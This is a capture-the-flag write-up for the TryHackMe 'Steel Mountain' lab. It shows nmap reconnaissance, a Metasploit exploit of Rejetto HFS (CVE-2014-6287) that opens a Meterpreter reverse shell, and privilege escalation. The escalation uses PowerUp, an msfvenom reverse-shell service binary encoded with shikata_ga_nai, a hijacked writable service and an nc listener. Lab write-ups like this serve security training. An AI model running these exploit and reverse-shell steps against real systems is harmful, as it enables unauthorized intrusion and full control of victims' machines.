Steel Mountain - Tryhackme

Here’s a small writeup on how i solved steel mountain on tryhackme.

Recon

Nmap 7.95 scan initiated Sat Sep 20 20:15:50 2025 as: /usr/lib/nmap/nmap --privileged -A -sV -oN vuln.txt 10.201.110.60

Nmap scan report for 10.201.110.60
Host is up (0.31s latency).
Not shown: 990 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
|*http-server-header: Microsoft-IIS/8.5*
| *http-methods:*
| Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
Device type: general purpose
Running: Microsoft Windows 2012
OS CPE: cpe:/o:microsoft:windows_server_2012:r2
OS details: Microsoft Windows Server 2012 or 2012 R2

Network Distance: 5 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|*nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC: 16:ff:d7:14:e0:67 (unknown)*
| *smb-security-mode:*
| *account_used: guest*
| *authentication_level: user*
| *challenge_response: supported*
| message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2025-09-20T16:21:00
|_ start_date: 2025-09-20T16:15:31
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled but not required

TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 321.80 ms 10.13.0.1
2 ... 4
5 324.24 ms 10.201.110.60

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done at Sat Sep 20 20:21:07 2025 -- 1 IP address (1 host up) scanned in 317.12 seconds

It revealed it had two webpage ports at 80 and 8080

Reverse imaging the given png returns Bill harper who is the employee of the month

File server

It had rejetto http fileserver up and running , The associated cve related to this is 2014-6287

RCE

msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
[] Started reverse TCP handler on 10.13.91.188:12111
[] Using URL: http://10.13.91.188:8080/3Bf4LIWE9
[] Server started.
[] Sending a malicious request to /
[] Payload request received: /3Bf4LIWE9
[] Sending stage (177734 bytes) to 10.201.97.150
[!] Tried to delete %TEMP%\dylUCNi.vbs, unknown result
[] Meterpreter session 4 opened (10.13.91.188:12111 → 10.201.97.150:49276) at 2025-09-21 10:20:44 +0400
[] Server stopped.

We set the Rhosts and rport respectively and exploit to get a shell

To get user flag we navigate to C:/users/bill/Desktop and use command type user.txt to get user flag

Privelege escalation

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

we save the script from this link and upload to meterpreter for invoking powershell commands

we then use **load powershell** to invoke ps comands and use **powershell_shell** to run commands

Then we use Invoke-AllChecks to check running services

```
msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
```

we create a separate exe to overwrite file

Then we sc stop AdvancedSystemCareService9
to stop the running active service as it has overwrite permission and restart permission to be true

then we set nc -nlvp 4443 in another terminal to catch shell and we run the Advanced.exe to trigger root shell

Hooray ! we have escalated priveleges in our target machine.